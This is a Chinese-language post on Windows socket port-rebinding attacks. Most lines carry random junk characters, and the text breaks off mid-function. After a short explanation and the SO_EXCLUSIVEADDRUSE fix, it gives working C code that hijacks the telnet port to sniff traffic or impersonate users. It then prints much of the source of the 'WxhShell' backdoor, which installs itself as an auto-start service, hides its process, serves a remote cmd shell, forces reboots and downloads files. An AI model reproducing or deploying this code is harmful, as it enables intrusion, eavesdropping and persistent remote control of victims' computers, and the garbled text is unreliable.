在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^DAa%u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
u~ F;xQ e5v`;(^M saddr.sin_family = AF_INET;
q<=:
>? Xwu.AVsr saddr.sin_addr.s_addr = htonl(INADDR_ANY);
D>T],3U(H `m%dX'0E bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
GSVdb/+ \94j rr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{M~lbU V`a+Hi<P\ 这意味着什么?意味着可以进行如下的攻击:
2C+(":=} OjnJV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
R 4EEelSZu uf) Oy7FQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
GaNq2 G !DjT<dxf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
f_r0}) _ptP[SV^j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
u"VS* hSH K!8zwb=fq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Aa(<L$e!` m24v@?* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+GNWF%
zN !)H*r|*[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'?/&n8J\ ,=w!vO5s #include
m^Lj+=Z" #include
6517Km 4- #include
M[Y4_$k<- #include
x(r+P9f\< DWORD WINAPI ClientThread(LPVOID lpParam);
cz.3|Lby int main()
5h_5Z~ {
6nw&$I WORD wVersionRequested;
pVokgUrC DWORD ret;
Wpm9`K WSADATA wsaData;
H*!5e0~rR BOOL val;
N7.
@FK SOCKADDR_IN saddr;
X.J SOCKADDR_IN scaddr;
/#q")4Mf int err;
|+ 7f2C SOCKET s;
}ymvC SOCKET sc;
Sni=gZ K int caddsize;
#3.)H9
HANDLE mt;
*%- ?54B DWORD tid;
-Ds|qzrN% wVersionRequested = MAKEWORD( 2, 2 );
1i?=JAFfM err = WSAStartup( wVersionRequested, &wsaData );
1Kc^m\ if ( err != 0 ) {
7!d$M{0" printf("error!WSAStartup failed!\n");
Yw"P)Zp return -1;
el@XK}<dr }
kV^?p saddr.sin_family = AF_INET;
Xem| o& g,?\~8-c //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
cF.mb*$K 1i,4".h?M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
gX/NtO% saddr.sin_port = htons(23);
{[3YJkrM if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Dc:DY:L^
{
5EhE`k4 printf("error!socket failed!\n");
iSd?N}2,I return -1;
m`9^.>]P }
xii$e val = TRUE;
BvJ=iB<E //SO_REUSEADDR选项就是可以实现端口重绑定的
ONWO`XD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=J.EH| {
8t``NZ[ printf("error!setsockopt failed!\n");
u9>6|w+ return -1;
T +\ B'" }
,P{HE8. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v72,h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
?'+8[OHiF^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
FW^.m?}| C={mi#G[/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@.o@-3k {
+u#Sl)F ret=GetLastError();
D=9}|b/ printf("error!bind failed!\n");
`@\^m_!} return -1;
{,v:
GMsm }
C9Wojo. listen(s,2);
44Qk;8* while(1)
?Q:PPqQ {
"yri[X caddsize = sizeof(scaddr);
2fBYT4*P;
//接受连接请求
s"rg_FoL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.\4l'THn,0 if(sc!=INVALID_SOCKET)
K{FhT9R' {
Z!)f* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
rIPl6,w~ if(mt==NULL)
G1r V<,#m {
x vJ^@w' printf("Thread Creat Failed!\n");
H
/%}R break;
>W~=]&7{s4 }
Gbx";Y8 }
V.fp/jhj CloseHandle(mt);
@ay|]w }
#fzw WP closesocket(s);
iE+6UK WSACleanup();
K051usm return 0;
]j1
vbk }
mrReast DWORD WINAPI ClientThread(LPVOID lpParam)
1w) fu {
C$ hQN SOCKET ss = (SOCKET)lpParam;
nr<.YeJ SOCKET sc;
M/)B" q unsigned char buf[4096];
f~v"zT SOCKADDR_IN saddr;
b\M b*o long num;
3 9yz~ DWORD val;
VK$zq5D DWORD ret;
777rE[\@b //如果是隐藏端口应用的话,可以在此处加一些判断
EFv4=OWB //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:'ihE\j saddr.sin_family = AF_INET;
um{e&5jk saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
f:FpyCo=9 saddr.sin_port = htons(23);
:4] J2U\@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JQH7ZaN {
}_vM&.GFlL printf("error!socket failed!\n");
F b2p(. return -1;
XP4jZCt9 }
U>1b9G"_ val = 100;
mR!rn^<l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:OX$LCi {
>OTl2F}4 ! ret = GetLastError();
-Fa98nV.WB return -1;
$&Ac5Zo%} }
)ZeLaa P if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
79a9L{gso {
n8Q*
_?Z/ ret = GetLastError();
YjL
t&D:IZ return -1;
b+_hI)T }
e
%& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:=Nb=&lst {
uh1S
7!^ printf("error!socket connect failed!\n");
a6P!Wzb closesocket(sc);
[}@n*D$ closesocket(ss);
7NeDs$ return -1;
cL
ae=N }
M!-q}5' ; while(1)
"s>
>V, {
oN4G1U
Kc //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:5G$d%O=2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
4"z;CGE7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
a/QIJ*0 num = recv(ss,buf,4096,0);
`{%-*f^ if(num>0)
h2AGEg'g2[ send(sc,buf,num,0);
2>ys2:z else if(num==0)
#*\Ry/9Q break;
4u7Cm num = recv(sc,buf,4096,0);
*qbRP"#[$ if(num>0)
{q})kO send(ss,buf,num,0);
i5Eeg`NMl else if(num==0)
F],TG&>5 break;
d`UF0T }
*J.c $1#h closesocket(ss);
#*+;B93) closesocket(sc);
gfxoJihE return 0 ;
]u~Os< }
W.z$a.<(rF fHLFeSfH >2nF"?"= ==========================================================
7Onk!NH 3V"dG1? 下边附上一个代码,,WXhSHELL
q$3HvZP kGruo5A ==========================================================
CJ0$;et nhp)yW #include "stdafx.h"
x
Ridc^ %;'~%\|dZM #include <stdio.h>
B%) zGTp6 #include <string.h>
QXsfp #include <windows.h>
:l4^iSf #include <winsock2.h>
ysL0hwir #include <winsvc.h>
j-j'ph K #include <urlmon.h>
RFhU# gYRqqV #pragma comment (lib, "Ws2_32.lib")
MPqY?KF #pragma comment (lib, "urlmon.lib")
5s#R`o%Z sw[<VsxjR #define MAX_USER 100 // 最大客户端连接数
4$..r4@ #define BUF_SOCK 200 // sock buffer
w4NZt|>5j; #define KEY_BUFF 255 // 输入 buffer
|&9tU Pkj T&e) #define REBOOT 0 // 重启
-6(h@F%E #define SHUTDOWN 1 // 关机
5sG ]3z+1 ]aREQ?ma&z #define DEF_PORT 5000 // 监听端口
*X%?3"WH8 mi*:S%;h #define REG_LEN 16 // 注册表键长度
XSD"/_xD #define SVC_LEN 80 // NT服务名长度
FpwlV}: *oKgP8CF // 从dll定义API
IvPA|8( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(MZ A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
MacL3f typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[O.LUR; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
MoZU(j /,=Wy"0TJ // wxhshell配置信息
e!TG< (S struct WSCFG {
=ltbS f7 int ws_port; // 监听端口
TXA. 6e char ws_passstr[REG_LEN]; // 口令
H't `Q&]a
int ws_autoins; // 安装标记, 1=yes 0=no
GjG{qR char ws_regname[REG_LEN]; // 注册表键名
c& 9+/JYMo char ws_svcname[REG_LEN]; // 服务名
[3 Wsc`Q char ws_svcdisp[SVC_LEN]; // 服务显示名
K!pxDW} char ws_svcdesc[SVC_LEN]; // 服务描述信息
u?F7L8q] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
B.h0" vJ int ws_downexe; // 下载执行标记, 1=yes 0=no
mvUVy1-c char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@hE7r-}] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
kxcgOjrmI %Y#[%~|( };
x&mz- "Nk`RsW // default Wxhshell configuration
46QYXmNQ} struct WSCFG wscfg={DEF_PORT,
J[I"/sdk- "xuhuanlingzhe",
*?EjYI 1,
fx8y`8}_ "Wxhshell",
gEcnn.(S "Wxhshell",
CD XB&%Sr "WxhShell Service",
-`<6=[QUO "Wrsky Windows CmdShell Service",
8Cf^$
"Please Input Your Password: ",
@h ,h=X 1,
^(E"3 c "
http://www.wrsky.com/wxhshell.exe",
EKeBTb "Wxhshell.exe"
3 C E 39W };
F]dmc,Q UXcH";*9b // 消息定义模块
>[A65q' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Om &{4a\ char *msg_ws_prompt="\n\r? for help\n\r#>";
dVY(V&p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Q'
OuZKhA char *msg_ws_ext="\n\rExit.";
G_7ks]u- char *msg_ws_end="\n\rQuit.";
m-~V+JU;x char *msg_ws_boot="\n\rReboot...";
CDwFVR'_Af char *msg_ws_poff="\n\rShutdown...";
e<: 4czh8 char *msg_ws_down="\n\rSave to ";
xCmI7$uQ# EhmUX@k], char *msg_ws_err="\n\rErr!";
s!nSE
char *msg_ws_ok="\n\rOK!";
F$"MFdc[ '<*CD_2t- char ExeFile[MAX_PATH];
.:#_5K int nUser = 0;
C[Y%=\6'0 HANDLE handles[MAX_USER];
Q"l"p:n%n int OsIsNt;
I_jM-/3b mmpr]cT@'k SERVICE_STATUS serviceStatus;
B.C H9M SERVICE_STATUS_HANDLE hServiceStatusHandle;
YUP%K!k i-Ge*? // 函数声明
(50[,:# int Install(void);
"4Wp>B int Uninstall(void);
A*-]J=:E { int DownloadFile(char *sURL, SOCKET wsh);
ILu0J`;} int Boot(int flag);
@8 oDy$j void HideProc(void);
{GG~E54&B int GetOsVer(void);
0C"PC:h5 int Wxhshell(SOCKET wsl);
vUodp#s void TalkWithClient(void *cs);
O9Jx%tolF% int CmdShell(SOCKET sock);
X*c_^g{ int StartFromService(void);
#buV;!_!E? int StartWxhshell(LPSTR lpCmdLine);
5;sQ@ Jm*M7gj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{m*V/tX VOID WINAPI NTServiceHandler( DWORD fdwControl );
:!Y?j{sGU _taHf %\4 // 数据结构和表定义
`K@df<}%*, SERVICE_TABLE_ENTRY DispatchTable[] =
tehI!->l {
F'Y2f6B {wscfg.ws_svcname, NTServiceMain},
`lV {NULL, NULL}
9FIe W[ };
~T p8>bmSR f>"!-3 // 自我安装
:DJ7d int Install(void)
AD!<%h: {
3_jCsX char svExeFile[MAX_PATH];
U`8^N.Snrp HKEY key;
G2[IO $ strcpy(svExeFile,ExeFile);
SCt=OdP= }?Yr>ZRi // 如果是win9x系统,修改注册表设为自启动
N8MlT \+r if(!OsIsNt) {
c|!A?>O? i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zvK5Zxl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8KL_PwRX_f RegCloseKey(key);
+{=_|3( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
44fq1<.K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8#d1}Y RegCloseKey(key);
vwqN;|F return 0;
kUaGok? }
mC[U)` ey }
*n|0\V< }
tci%=3,) else {
HC;I0&v> kT }'" // 如果是NT以上系统,安装为系统服务
jhEg#Q$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Jq+$_Uqd if (schSCManager!=0)
l3Bxi1k[C {
Rm\']; SC_HANDLE schService = CreateService
5?~[|iPv
(
:z0>H5 schSCManager,
,;=( )- wscfg.ws_svcname,
<@AsCiQF wscfg.ws_svcdisp,
,wb|?>Y SERVICE_ALL_ACCESS,
cf[u%{
6Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$ DZQdhv SERVICE_AUTO_START,
1J{z}yPHc SERVICE_ERROR_NORMAL,
CAo )v,f svExeFile,
N;`[R>Z~ NULL,
K9qEi{[ NULL,
Ignv|TYG NULL,
U3j~}H.D1 NULL,
ch,Zk )y:_ NULL
\#+2;L );
>*t>U8 if (schService!=0)
<K=B(-~ {
/@nRL CloseServiceHandle(schService);
3!oQmG_T CloseServiceHandle(schSCManager);
^tKOxW#
a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?#EXG strcat(svExeFile,wscfg.ws_svcname);
J"2ODB5" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
I\uB"Z{9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?"8A^
^ RegCloseKey(key);
WO(&<(? return 0;
C"Y]W-Mgg }
xjhAAM }
W6xjqNU CloseServiceHandle(schSCManager);
a6k(O8Ank3 }
_9-D3_P[3 }
=u3@ Dhw Z/05 wB return 1;
hpz*jyh8 }
^3)2]>pW (~pEro]?+) // 自我卸载
~~:8Yv[( int Uninstall(void)
~h^}W$pO {
t|U2ws# HKEY key;
~j&:)a'^
k-ex<el)# if(!OsIsNt) {
6[2?m*BsN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{|J2clL RegDeleteValue(key,wscfg.ws_regname);
}
Ved RegCloseKey(key);
:%b2;&A[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
LI|HET_ RegDeleteValue(key,wscfg.ws_regname);
z vylL
M RegCloseKey(key);
,S0~:c:) return 0;
Mm7n?kb6 }
%1?V6& }
kdMS"iN8x }
|o=\9:wV else {
!>2\OSp! 7fTg97eF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
HFx"fT if (schSCManager!=0)
eW*ae;-
{
>eTgP._ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
A{Htpm ~ if (schService!=0)
=U7D}n
hS- {
S}[:;p?F` if(DeleteService(schService)!=0) {
(DMnwqr CloseServiceHandle(schService);
hUhp2ibEs CloseServiceHandle(schSCManager);
j% USu+& return 0;
Cz);mOb%M% }
OUk5c$M( CloseServiceHandle(schService);
IZv, Wo }
s>``-
]3 CloseServiceHandle(schSCManager);
yqb<<4I }
2d;xAX ] }
"X(= - QI`npsnV return 1;
p+sPCF }
~5!TV,>ls f<sPh>n
// 从指定url下载文件
d<'Yt|zt int DownloadFile(char *sURL, SOCKET wsh)
@gjdyz {
@bCiaBdi HRESULT hr;
0#/
6P&6 char seps[]= "/";
$z,DcO.vz char *token;
g7LW?Ewr char *file;
,Ve@=< char myURL[MAX_PATH];
<$6'Mzf char myFILE[MAX_PATH];
{BCjVmY Heif FJn strcpy(myURL,sURL);
Y9L6W+=T token=strtok(myURL,seps);
N_k6UA9 while(token!=NULL)
BI^]juH-c {
J+NK+,_*M file=token;
Ry S{@=si token=strtok(NULL,seps);
@d^h/w }
gI5nWEM0{ Q!e0Vb GetCurrentDirectory(MAX_PATH,myFILE);
49fq6ZhO strcat(myFILE, "\\");
<m:wuNEM strcat(myFILE, file);
M*6@1.n send(wsh,myFILE,strlen(myFILE),0);
NP'DuzC send(wsh,"...",3,0);
4"(zi5`e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
O Lup`~ if(hr==S_OK)
G( \1{"! return 0;
}~'Wz*Gm else
"}+/0$F return 1;
;L%~c4`l~m |B$\3, }
A y[L{!)2{ bCe-0!Q // 系统电源模块
T`ZJ=gv int Boot(int flag)
VX[!Vh {
SfL`JNi) HANDLE hToken;
6MNA.{Jdd TOKEN_PRIVILEGES tkp;
W*`6ero []!r|R3 if(OsIsNt) {
YY~=h5$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`#8R+c=$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
OT3;qT*fw tkp.PrivilegeCount = 1;
M #&L@fg! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c!^}!32j) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\o)4m[oF if(flag==REBOOT) {
mM{v>Em2K# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~Fb?h%w return 0;
swL|Ff`$ }
k\%v;3nBK else {
<u wCP4E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
O9)}:++T return 0;
r$Qh`[< }
K)\gbQ| }
m9cT}x&j else {
r['C.S6 if(flag==REBOOT) {
6|cl`}g_j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
t3g!5 return 0;
i4rF~'h@ }
+ qqN else {
#e>MNc
'z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
dKpa5f7 return 0;
't.F.t }
g^UWf <xp }
S]=Vr%irX NYvj?>[y return 1;
82!GM.b }
):ZumG#o H5 hUY'O // win9x进程隐藏模块
Z@/5~p void HideProc(void)
!r0P\ {
zRFM/IYC z5vI0 N$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
as!j 0j% if ( hKernel != NULL )
S,RJ#.:F[t {
9W$)W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
eJp-s" % ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9'h^59 FreeLibrary(hKernel);
!OgoV22 }
[`\Qte%UH S6tH!Z=(g return;
{o%R~{6 }
.Kwl8xRg (C@@e'e // 获取操作系统版本
htym4\Z= int GetOsVer(void)
rapca' {
Uk\U*\. OSVERSIONINFO winfo;
cSk}53 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
", ) GetVersionEx(&winfo);
{?hjx+v[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
0 %+k>(@R return 1;
r'\TS U5! else
".D +#
2Kl return 0;
j~q`xv+R }
Mwc3@ {2@96o2} // 客户端句柄模块
jMbK7
1K% int Wxhshell(SOCKET wsl)
g>zL{[e! {
>K%x44| SOCKET wsh;
=T$- #bA) struct sockaddr_in client;
1_lL?S3,a@ DWORD myID;
H]X)@n> EPy/6-5b while(nUser<MAX_USER)
Q2?qvNZ {
4/>={4Y9 int nSize=sizeof(client);
lej{VcG wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
K^\9R if(wsh==INVALID_SOCKET) return 1;
PM7/fv*, UXHFti/A< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@1@WB]mQQ if(handles[nUser]==0)
E: k?*l closesocket(wsh);
6~>k]G else
(Ln h> '2 nUser++;
]
),'=@ }
.vMi<U; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{8RGW0Y %A3Jd4DH return 0;
9#!tzDOtD }
nT"z(\i.!J {+Yo&F}n // 关闭 socket
Dy!fwYPA/{ void CloseIt(SOCKET wsh)
}}_l@5 {
&)-?=M closesocket(wsh);
H
#_Z6J nUser--;
7l3q~ dQ ExitThread(0);
q=6Y2Q }
7i.aZ2a% sSUd;BYf // 客户端请求句柄
aDuanGC/V void TalkWithClient(void *cs)
B!@0(A {
pdSyx>rJ *gVv74;; SOCKET wsh=(SOCKET)cs;
ez{&Y>n char pwd[SVC_LEN];
n}{cs char cmd[KEY_BUFF];
_8
J(;7 char chr[1];
}q9f,mz int i,j;
<lR8MqjM_ Hr$5B2' while (nUser < MAX_USER) {
.U_=LV]C d%bL_I) if(wscfg.ws_passstr) {
tO7{g if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
x]Ef}g //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`2B+8,{% //ZeroMemory(pwd,KEY_BUFF);
BxF i=0;
dp_q:P4;B while(i<SVC_LEN) {
ZV;yXLx| qv6]YPP // 设置超时
^iNR(cwgX fd_set FdRead;
uk,f}Xc struct timeval TimeOut;
=xoTH3/,> FD_ZERO(&FdRead);
7|rT*-Ia FD_SET(wsh,&FdRead);
1o%Hn"uG TimeOut.tv_sec=8;
7f>n`nq? TimeOut.tv_usec=0;
rtm28|0H' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4hIC&W~f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\m&:J>^
r DuG[" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
k"J?-1L pwd
=chr[0]; zVu}7v()
if(chr[0]==0xd || chr[0]==0xa) { OK=t)6&b
pwd=0; GF&"nW9A
break; 5 *_#"
} X}$S|1CjO
i++; ;G$FLL1
} yrw!b\
#'qW?8d}
// 如果是非法用户,关闭 socket JFfx9%Fq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lxZXz JkqZ
} dIm m},
#7{a~-S
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w]_a0{Uh
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JS9q'd
8CCA/6
while(1) { C$8=HM3
e
6*=Si}V
ZeroMemory(cmd,KEY_BUFF); *3|KbCX
NQmDm!-4
// 自动支持客户端 telnet标准 zx27aZ[
j=0; 3?:}lY<,
while(j<KEY_BUFF) { Eq
t61O$x
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dSbV{*B;>
cmd[j]=chr[0]; -t]0DsPg
if(chr[0]==0xa || chr[0]==0xd) { # /T)9 =m
cmd[j]=0; <3HJkcYGz
break; u|e2T@t=
} Oaui@q
j++; y}A-o_u@cD
} Liofv4![
945psG@|
// 下载文件 Ab`G b
if(strstr(cmd,"http://")) { #ed]zI9O
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9E5B.qlw$l
if(DownloadFile(cmd,wsh)) _wIAr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fw<'ygd
else ^#+9v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /=%4gWtr
} >|<6s],v
else { J{H475GqiT
}U9e#>ex
switch(cmd[0]) { d<]/,BY'
)j](_kvK
// 帮助 V%))%?3x_
case '?': { @B+];lr/-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rVLA"x 9u
break; E)Dik`Ccl
} YV+e];s
// 安装 B6BOy~B0
case 'i': { QFMS]
if(Install()) \>+gZc]an
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Oy,SX
else .*ZNZ|g_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OnG?@sW+4!
break; LTxOq|/Cq
} d97wiE/i<
// 卸载 5QlJX
case 'r': { grZN.zTO
if(Uninstall()) yt?#T#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Ev~yY;N
else d%WFgf}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sviGS&J9h
break; bp }~{]:b
} ,\VNs'j
// 显示 wxhshell 所在路径 cng1k
case 'p': {
'{),gV.
char svExeFile[MAX_PATH]; Xs4`bbap
strcpy(svExeFile,"\n\r"); -50|r;a
strcat(svExeFile,ExeFile); nF=h|rN
send(wsh,svExeFile,strlen(svExeFile),0); co:
W!
break; E5B:79BGO
} W)KV"A3C
// 重启 >scEdeM
case 'b': { tYnNOK*|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xSw ^v6!2
if(Boot(REBOOT)) Ax&+UxQ0|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~#wq sm
else { $N~8^6
closesocket(wsh); )F:hv[iv
ExitThread(0); TtHqdKL
} o_?YYw-:
break; -q[?,h
} 7uYJ_R
// 关机 3iDRt&y=.
case 'd': { WO|#`HM2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a4c~ThbI
if(Boot(SHUTDOWN)) l/Sb JrM*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kpg]b"9.R
else { |@Bl?Bs+
closesocket(wsh); (%tKGeb
ExitThread(0); vFQ'sd]C
} b?y3m +V`
break; u\50,N9Wp{
} YI|7a#*F
// 获取shell E#J+.&2
case 's': { -|g~--@Q
CmdShell(wsh); 0C7x1:
closesocket(wsh); G"wy?
ExitThread(0); 0Y{A
break; [^#6.xH
}
IS!sJ c
// 退出 moh7:g
case 'x': { Nb-;D)W;B
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
1I_(!F{Ho
CloseIt(wsh); ~h -0rE
break; c'[l%4U8[
} 5MT$n4zKu
// 离开 q45Hmz
case 'q': { h60*=+vdJ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); S_WYU&8
closesocket(wsh); |*Hw6m
WSACleanup(); c{zQX0
exit(1); >a[)F
break; q'[5h>Pa
} 4&}LYSZl
} G;MmD?VJ g
} @jX[Ho0W'
2ACN5lyUS
// 提示信息 +g%kr~w=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pr9$(6MX
} Iell`;
} K%O%#Kk
}O-|b#Q
return; >2TDYB|;
} ^ 14U]<
;~3CuN8
// shell模块句柄 ,!Gw40t
int CmdShell(SOCKET sock) 82{Lx7pI
{ ,dP-sD;<
STARTUPINFO si; *Mgl X<
ZeroMemory(&si,sizeof(si)); ~J)_S'
#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <`}Oi5nW
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1Jjay#
PROCESS_INFORMATION ProcessInfo; E)7vuWOO
char cmdline[]="cmd"; 9t9x&.A
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /^SIJS@^`>
return 0; To.CY^M
} "k[-eFz/@M
. _Bejh
// 自身启动模式 *F[@lY\p
int StartFromService(void) 1YL6:5n
{ 8c3Qd
typedef struct q#$Al
{ A!\g!*
DWORD ExitStatus; gs7h`5[es
DWORD PebBaseAddress; cxn3e,d`
DWORD AffinityMask; [@(M%
DWORD BasePriority; j#hFx+S
ULONG UniqueProcessId; gMS-mkZ
